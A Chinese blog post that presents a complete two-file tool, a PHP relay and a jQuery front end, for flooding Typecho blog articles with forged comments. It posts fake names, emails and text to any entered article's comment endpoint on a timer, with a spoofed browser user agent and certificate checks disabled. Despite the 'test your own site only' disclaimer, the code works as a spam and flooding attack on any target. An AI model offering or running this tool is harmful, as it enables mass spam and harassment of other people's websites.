标签搜索

Typecho评论攻击

百趣云
2021-03-21 / 0 评论 / 26 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2021年03月21日,已超过92天没有更新,若内容或图片失效,请留言反馈。

之前有次早上打开博客,发现博客被人刷了几百条恶意评论,删除了好一会儿。今天没什么事,利用php加前端也模拟写出了这样的一个小功能。原理主要是模拟用户评论,然后疯狂的去发送

注意:如果博客后台开了评论校验、拦截了请求,那么该功能可能会失效。该功能仅供测试自己网站是否可以被刷评论使用,请勿非法使用其他用途!

一共2个文件,分为test.php和test.html,上传到服务器上后打开test.html即可使用

test.php

<?php
header('Access-Control-Allow-Origin:*');
function getParam($key, $default = '')
{
    return trim($key && is_string($key) ? (isset($_POST[$key]) ? $_POST[$key] : (isset($_GET[$key]) ? $_GET[$key] : $default)) : $default);
}
function send_post($url, $post_data)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36');
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}
if (getParam('link')) {
    $res = send_post(getParam('link') . '/comment', array(
        'author' => getParam('author'),
        'mail' => getParam('mail'),
        'url' => getParam('url'),
        'text' => getParam('text')
    ));
    if ($res) {
        echo "发送可能失败!";
    } else {
        echo "发送应该成功";
    }
}

test.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Typecho评论攻击</title>
    <style>
        * {
            box-sizing: border-box;
        }

        body {
            display: flex;
        }

        input {
            width: 200px;
            height: 28px;
            outline: none;
        }

        textarea {
            width: 200px;
            height: 200px;
            vertical-align: top;
            outline: none;
        }

        .right {
            max-height: 580px;
            overflow-y: auto;
            border-left: 2px solid #ff6800;
            margin-left: 50px;
            padding-left: 50px;
        }
    </style>
    <script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
</head>

<body>
    <div>
        <ul>
            <li>当前页面仅供测试Typecho的评论系统,请勿非法使用其他用途</li>
            <li>本页面的原理:简单的模拟用户去发表评论</li>
            <li>如果博客后台开启了评论审核、评论时间限制等,则可能不起作用</li>
        </ul>
        <p>
            <span>文章链接(必填):</span>
            <input autocomplete="off" type="text" id="link" placeholder="请输入需要测试的文章链接" />
        </p>
        <p>
            <span>虚假昵称(必填):</span>
            <input autocomplete="off" value="测试昵称" type="text" id="author" placeholder="请输入一个假昵称" />
        </p>
        <p>
            <span>虚假邮箱(必填):</span>
            <input autocomplete="off" value="250250250@qq.com" type="text" id="mail" placeholder="请输入一个假邮箱" />
        </p>
        <p>
            <span>虚假网址(选填):</span>
            <input autocomplete="off" type="text" id="url" placeholder="请输入一个假网址" />
        </p>
        <p>
            <span>虚假文本(必填):</span>
            <textarea autocomplete="off" type="text" id="text" placeholder="请输入一个假文本"></textarea>
        </p>
        <p>
            <span>发送间隔(必填):</span>
            <input autocomplete="off" value="1000" type="text" id="time" placeholder="请输入多少时间(毫秒)" />
        </p>
        <p>
            <button id="button">开始</button>
        </p>
    </div>
    <div class="right">
        <ul id="record"></ul>
    </div>
    <script>
        let timer = null;
        $("#button").on("click", function () {
            const link = $("#link").val()
            const author = $("#author").val()
            const mail = $("#mail").val()
            const url = $("#url").val()
            const text = $("#text").val()
            const time = $("#time").val() || 1000
            if (!link || !author || !mail || !text || !time) {
                return alert("请填写必填项!")
            }
            if ($(this).html() === '开始') {
                $(this).html('停止')
                timer = setInterval(() => {
                    $.ajax({
                        url: "./test.php",
                        type: "POST",
                        data: { link, author, mail, url, text },
                        success(res) {
                            $("#record").append("<li>" + res + "</li>")
                        }
                    })
                }, time);
            } else {
                $(this).html('开始');
                clearInterval(timer);
            }
        })
    </script>
</body>

</html>
0

评论 (0)

取消